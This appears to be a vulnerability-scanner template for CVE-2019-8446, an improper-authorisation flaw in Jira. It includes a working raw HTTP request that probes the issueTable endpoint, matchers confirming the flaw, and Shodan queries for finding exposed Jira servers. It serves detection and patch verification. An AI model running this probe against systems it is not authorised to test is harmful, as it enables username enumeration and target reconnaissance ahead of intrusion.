Jira Improper Authorization

id: CVE-2019-8446

info:
  name: Jira Improper Authorization
  author: dhiyaneshDk
  severity: medium
  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Jira application.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69777
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/CyberTrashPanda/CVE-2019-8446
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8446
    cwe-id: CWE-863
    epss-score: 0.15691
    epss-percentile: 0.95925
    cpe: cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_server
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2019,jira,atlassian

http:
  - raw:
      - |
        POST /rest/issueNav/1/issueTable HTTP/1.1
        Host: {{Hostname}}
        Connection: Close
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        X-Atlassian-Token: no-check
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9

        {'jql':'project in projectsLeadByUser("{{randstr}}")'}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "the user does not exist"

      - type: status
        status:
          - 200
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